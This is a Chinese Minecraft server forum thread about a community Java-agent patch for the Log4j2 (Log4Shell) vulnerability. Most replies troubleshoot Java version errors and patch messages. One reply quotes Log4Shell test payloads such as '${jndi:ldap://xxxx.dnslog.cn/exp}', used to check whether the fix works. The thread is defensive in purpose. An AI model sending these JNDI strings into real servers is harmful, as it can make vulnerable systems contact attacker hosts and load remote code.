VeroFess
本帖最后由 VeroFess 于 2021-12-13 10:57 编辑

Log4j2 Fix

请注意,虽然这种方式修复可以彻底解决问题,但是依然推荐更新核心到新版!!

下载中的编译版本已经更新到1.8,请放心使用

本插件在大部分情况下与其他修复插件效果相同,您仅应当在以下情况下使用本插件:不确定jvm中究竟整出来多少个classloader,或者您是面板服的管理员想要做无入侵修复时。

使用该修复您需要一定的专业知识!如您无特殊需求请选择本站的其他修复工具!

不用解释太多,懂得都懂,和别人的修复不一样的地方就是这是非侵入的源码修复

本来说好周五更新,结果生病了,不好意思

服务端:

下载 Log4j2Fix.jar, 放到 启动脚本所在的 目录里 不是MODS或者Plugins目录!!!!,之后打开你的启动器/启动脚本

在Java 参数中/java.exe 之后, 填入/加上"-javaagent:Log4j2Fix.jar"

源代码:

https://github.com/VeroFess/Log4jFix

本插件所用所有代码均为原创,不存在借用/抄袭等行为


源源不开心
前排留名 先看一下

MiDeng
本帖最后由 MiDeng 于 2021-12-10 12:00 编辑

1.12.2 paperjava 1.8.0_311

启动脚本
java -javaagent:Log4j2Fix.jar -Xms256M -Xmx10G -Xss512K -jar paper-1618.jar

报错
  1. Exception in thread "main" java.lang.UnsupportedClassVersionError: com/binklac/log4j2fix/Log4j2FixAgent has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
  2.         at java.lang.ClassLoader.defineClass1(Native Method)
  3.         at java.lang.ClassLoader.defineClass(Unknown Source)
  4.         at java.security.SecureClassLoader.defineClass(Unknown Source)
  5.         at java.net.URLClassLoader.defineClass(Unknown Source)
  6.         at java.net.URLClassLoader.access$100(Unknown Source)
  7.         at java.net.URLClassLoader$1.run(Unknown Source)
  8.         at java.net.URLClassLoader$1.run(Unknown Source)
  9.         at java.security.AccessController.doPrivileged(Native Method)
  10.         at java.net.URLClassLoader.findClass(Unknown Source)
  11.         at java.lang.ClassLoader.loadClass(Unknown Source)
  12.         at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
  13.         at java.lang.ClassLoader.loadClass(Unknown Source)
  14.         at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(Unknown Source)
  15.         at sun.instrument.InstrumentationImpl.loadClassAndCallPremain(Unknown Source)
  16. FATAL ERROR in native method: processing of -javaagent failed
复制代码






LoserXM
MiDeng 发表于 2021-12-10 11:52
1.12.2 paperjava 1.8.0_311
启动脚本
java -javaagent:Log4j2Fix.jar -Xms256M -Xmx10G -Xss512K -jar pap ...

java版本过低/过高

MiDeng
LoserXM 发表于 2021-12-10 12:00
java版本过低/过高

好像1.12.2只兼容java8。。。

feiyuyu
MiDeng 发表于 2021-12-10 11:52
1.12.2 paperjava 1.8.0_311

启动脚本

1.7用不了 我也是这样  java是阿里云的jdk8 302

YunXuan_WenCha
怎么测试插件生没生效啊

DreamVoid
好快,建议版主直接加精华(x

MossCG
能使用java8构建一份嘛

西伯利亚大灰狼
坐等新版核心

MossCG
feiyuyu 发表于 2021-12-10 12:07
1.7用不了 我也是这样  java是阿里云的jdk8 302

1.8以下不包括1.8版本 不受影响 应该

VeroFess
等我吃个饭再更新,写了一早上报告,人快饿没了

feiyuyu
MossCG 发表于 2021-12-10 12:22
1.8以下不包括1.8版本 不受影响 应该

1.7是2.0版本的  刚好受影响www
头快炸了  现在的修复 1.7用不了

15113532158
本帖最后由 15113532158 于 2021-12-10 12:48 编辑

抱歉啊,是我眼瞎,刚才急着,不小心打开了同一个插件,望楼主大大不要生气,求原谅awa

VeroFess
15113532158 发表于 2021-12-10 12:34
盗国外的人的插件?

要不你看看com.binklac这个域名的所有人是谁?

DreamSoulFlame
大佬牛批,虽然咱已经用上catserver最新版了

落雨sa
feiyuyu 发表于 2021-12-10 12:07
1.7用不了 我也是这样  java是阿里云的jdk8 302

1.7不需要修复,不受漏洞影响

myc19770214
MiDeng 发表于 2021-12-10 11:52
1.12.2 paperjava 1.8.0_311

启动脚本

这个是Java版本问题,Mohist开服请用Java 11

隔壁老帅比
pcl2启动器脚本在哪里

WonderBeta
编译版本为 11,部分旧版本服务端可能不兼容。
希望提供源码或以 java 8 编译的版本,非常感谢。

howarks
Waiting for class4j classes to load.
Successfully found JndiLookup, ready to repair it ...
Unable to apply the patch, is there an error?var/mc/v1.16.5/cache/patched_1.16.5.jar
这应该是个报错吧

WonderBeta
howarks 发表于 2021-12-10 15:22
Waiting for class4j classes to load.
Successfully found JndiLookup, ready to repair it ...
Unable to ...

可在 Paper 1.15.2(Build 391) 复现

Yan丶Hua
面板服怎么弄吗Th核心的

haha44444
本帖最后由 haha44444 于 2021-12-10 17:05 编辑

问一下使用两个javaagent启动服务器的参数怎么写,因为我启动服务端也是用的一个javaagent,这又来了一个
qwq
没事了没事了我看错了我那个是javapach抱歉抱歉

梦想之初衷_
希望赶紧修复这个bug

WonderBeta
haha44444 发表于 2021-12-10 16:45
问一下使用两个javaagent启动服务器的参数怎么写,因为我启动服务端也是用的一个javaagent,这又来了一个
q ...

两个就加两个 -javaagent 参数(没有个数限制),JVM 会按顺序加载。

王者神坑小顾
Java\jre1.8.0_311\bin\javaw.exe -javaagent:Log4j2Fix.jar" -Xms8191M -Xmx8191M -Djline.terminal=jline.UnsupportedTerminal -jar Thermosserver.jar
启动失败,请问下是为什么?

王者神坑小顾
王者神坑小顾 发表于 2021-12-10 17:16
Java\jre1.8.0_311\bin\javaw.exe -javaagent:Log4j2Fix.jar" -Xms8191M -Xmx8191M -Djline.terminal=jline ...

版本是1.7.10

玲伶泠
请问大佬怎么判断加成功了呢?服务器正常启动了,命令和文件也都加进去了,但是跟平常好像没啥区别

轩|Xuan
sag ${jndi:ldap://xxxxxxxxxxxxx.dnslog.com}

${jndi:ldap://xxxxxxxxxxxxx.dnslog.com}

${jndi:ldap://xxxx.dnslog.cn/exp}

${jndi:ldap://xxxx.dnslog.cn/exp}
1.7.10 U端 还是有这个问题 输入直接GG了

haha44444
WonderBeta 发表于 2021-12-10 17:12
两个就加两个 -javaagent 参数(没有个数限制),JVM 会按顺序加载。

okk懂了谢谢

萌主丁白海
  1. Exception in thread "main" java.lang.UnsupportedClassVersionError: com/binklac/log4j2fix/Log4j2FixAgent has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
  2.         at java.lang.ClassLoader.defineClass1(Native Method)
  3.         at java.lang.ClassLoader.defineClass(Unknown Source)
  4.         at java.security.SecureClassLoader.defineClass(Unknown Source)
  5.         at java.net.URLClassLoader.defineClass(Unknown Source)
  6.         at java.net.URLClassLoader.access$100(Unknown Source)
  7.         at java.net.URLClassLoader$1.run(Unknown Source)
  8.         at java.net.URLClassLoader$1.run(Unknown Source)
  9.         at java.security.AccessController.doPrivileged(Native Method)
  10.         at java.net.URLClassLoader.findClass(Unknown Source)
  11.         at java.lang.ClassLoader.loadClass(Unknown Source)
  12.         at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
  13.         at java.lang.ClassLoader.loadClass(Unknown Source)
  14.         at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(Unknown Source)
  15.         at sun.instrument.InstrumentationImpl.loadClassAndCallPremain(Unknown Source)
  16. FATAL ERROR in native method: processing of -javaagent failed
复制代码

测试时报错

18179784188
怎么使用

Jstzjgsc
出现了这一行:Unable to apply the patch, is there an error?root/cache/patched_1.17.1.jar,不知道啥情况
不过用给出的测试代码测试下来似乎是没问题了,都只是单纯把代码打印了一遍而不会反馈一大堆at

下一页 最后一页